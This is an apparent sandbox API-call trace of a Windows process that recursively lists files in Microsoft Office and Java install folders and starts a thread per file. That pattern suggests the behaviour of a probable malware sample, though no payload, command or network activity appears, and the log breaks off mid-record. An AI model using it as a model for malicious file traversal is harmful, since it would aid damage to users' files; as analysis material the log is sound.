0x198051d8 [0066.572] wcscpy (in: _Dest=0x198051d8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.572] wcscat (in: _Dest=0x198051d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.572] wcscat (in: _Dest=0x198051d8, _Source="J0185604.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" [0066.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x198051d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0066.573] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0066.573] wcscmp (_String1="J0186002.WMF", _String2=".") returned 1 [0066.573] wcscmp (_String1="J0186002.WMF", _String2="..") returned 1 [0066.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19805260 [0066.573] wcscpy (in: _Dest=0x19805260, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.573] wcscat (in: _Dest=0x19805260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.573] wcscat (in: _Dest=0x19805260, _Source="J0186002.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" [0066.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19805260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0066.574] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0066.574] wcscmp (_String1="J0186348.WMF", _String2=".") returned 1 [0066.574] wcscmp (_String1="J0186348.WMF", _String2="..") returned 1 [0066.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x198052e8 [0066.574] wcscpy (in: _Dest=0x198052e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.574] wcscat (in: _Dest=0x198052e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.574] wcscat (in: _Dest=0x198052e8, _Source="J0186348.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" [0066.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x198052e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0066.575] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0066.576] wcscmp (_String1="J0187423.WMF", _String2=".") returned 1 [0066.576] wcscmp (_String1="J0187423.WMF", _String2="..") returned 1 [0066.576] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19805370 [0066.576] wcscpy (in: _Dest=0x19805370, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.576] wcscat (in: _Dest=0x19805370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.576] wcscat (in: _Dest=0x19805370, _Source="J0187423.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" [0066.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19805370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0066.577] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0066.577] wcscmp (_String1="J0195384.WMF", _String2=".") returned 1 [0066.577] wcscmp (_String1="J0195384.WMF", _String2="..") returned 1 [0066.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x198053f8 [0066.577] wcscpy (in: _Dest=0x198053f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.577] wcscat (in: _Dest=0x198053f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.577] wcscat (in: _Dest=0x198053f8, _Source="J0195384.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" [0066.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x198053f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0066.578] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0066.578] wcscmp (_String1="J0195534.WMF", _String2=".") returned 1 [0066.578] wcscmp (_String1="J0195534.WMF", _String2="..") returned 1 [0066.578] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19805480 [0066.578] wcscpy (in: _Dest=0x19805480, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.578] wcscat (in: _Dest=0x19805480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.578] wcscat (in: _Dest=0x19805480, _Source="J0195534.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" [0066.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19805480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0066.772] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0066.772] wcscmp (_String1="J0195812.WMF", _String2=".") returned 1 [0066.772] wcscmp (_String1="J0195812.WMF", _String2="..") returned 1 [0066.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19805590 [0066.772] wcscpy (in: _Dest=0x19805590, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0066.772] wcscat (in: _Dest=0x19805590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0066.772] wcscat (in: _Dest=0x19805590, _Source="J0195812.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" Thread: id = 506 os_tid = 0xed8 [0049.306] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x5e469c8 [0049.306] wcscpy (in: _Dest=0x5e469c8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0049.306] wcscat (in: _Dest=0x5e469c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0049.306] wcscat (in: _Dest=0x5e469c8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*" [0049.306] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4592f8 [0049.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a168 [0049.831] wcscmp (_String1=".", _String2=".") returned 0 [0049.831] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.831] wcscmp (_String1="..", _String2=".") returned 1 [0049.831] wcscmp (_String1="..", _String2="..") returned 0 [0049.831] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0049.831] wcscmp (_String1="1033", _String2=".") returned 1 [0049.831] wcscmp (_String1="1033", _String2="..") returned 1 [0049.831] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43a1c8 [0049.831] wcscpy (in: _Dest=0x43a1c8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0049.831] wcscat (in: _Dest=0x43a1c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0049.832] wcscat (in: _Dest=0x43a1c8, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" [0051.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43a1c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0051.295] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0051.295] wcscmp (_String1="AUTOSHAP", _String2=".") returned 1 [0051.295] wcscmp (_String1="AUTOSHAP", _String2="..") returned 1 [0051.295] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e07b98 [0051.295] wcscpy (in: _Dest=0x12e07b98, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0051.295] wcscat (in: _Dest=0x12e07b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0051.295] wcscat (in: _Dest=0x12e07b98, _Source="AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0051.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12e07b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0 [0051.296] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0051.296] wcscmp (_String1="BULLETS", _String2=".") returned 1 [0051.296] wcscmp (_String1="BULLETS", _String2="..") returned 1 [0051.296] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e07c18 [0051.296] wcscpy (in: _Dest=0x12e07c18, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0051.296] wcscat (in: _Dest=0x12e07c18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0051.296] wcscat (in: _Dest=0x12e07c18, _Source="BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0051.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12e07c18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4 [0051.297] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0051.297] wcscmp (_String1="LINES", _String2=".") returned 1 [0051.298] wcscmp (_String1="LINES", _String2="..") returned 1 [0051.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x419310 [0051.298] wcscpy (in: _Dest=0x419310, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0051.298] wcscat (in: _Dest=0x419310, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0051.298] wcscat (in: _Dest=0x419310, _Source="LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0051.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8 [0051.299] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0051.299] wcscmp (_String1="OFFICE10.DLL", _String2=".") returned 1 [0051.299] wcscmp (_String1="OFFICE10.DLL", _String2="..") returned 1 [0051.299] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0051.299] wcscmp (_String1="OFFICE10.MMW", _String2=".") returned 1 [0051.299] wcscmp (_String1="OFFICE10.MMW", _String2="..") returned 1 [0051.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447f58 [0051.299] wcscpy (in: _Dest=0x447f58, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0051.299] wcscat (in: _Dest=0x447f58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0051.299] wcscat (in: _Dest=0x447f58, _Source="OFFICE10.MMW" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" [0051.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc [0051.300] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0051.300] FindClose (in: hFindFile=0x40a168 | out: hFindFile=0x40a168) returned 1 [0051.301] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4592f8) returned 1 [0051.301] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e469c8) returned 1 [0051.301] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4212d8) returned 1 Thread: id = 507 os_tid = 0xedc [0049.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d5f8 [0049.307] wcscpy (in: _Dest=0x48d5f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" [0049.307] wcscat (in: _Dest=0x48d5f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" [0049.307] wcscat (in: _Dest=0x48d5f8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*" [0049.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459090 [0049.307] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0049.832] wcscmp (_String1=".", _String2=".") returned 0 [0049.832] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.832] wcscmp (_String1="..", _String2=".") returned 1 [0049.832] wcscmp (_String1="..", _String2="..") returned 0 [0049.833] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0049.833] wcscmp (_String1="classes.jsa", _String2=".") returned 1 [0049.833] wcscmp (_String1="classes.jsa", _String2="..") returned 1 [0049.833] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a240 [0049.833] wcscpy (in: _Dest=0x43a240, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" [0049.833] wcscat (in: _Dest=0x43a240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" [0049.833] wcscat (in: _Dest=0x43a240, _Source="classes.jsa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" [0057.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43a240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec [0057.819] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x459090 | out: 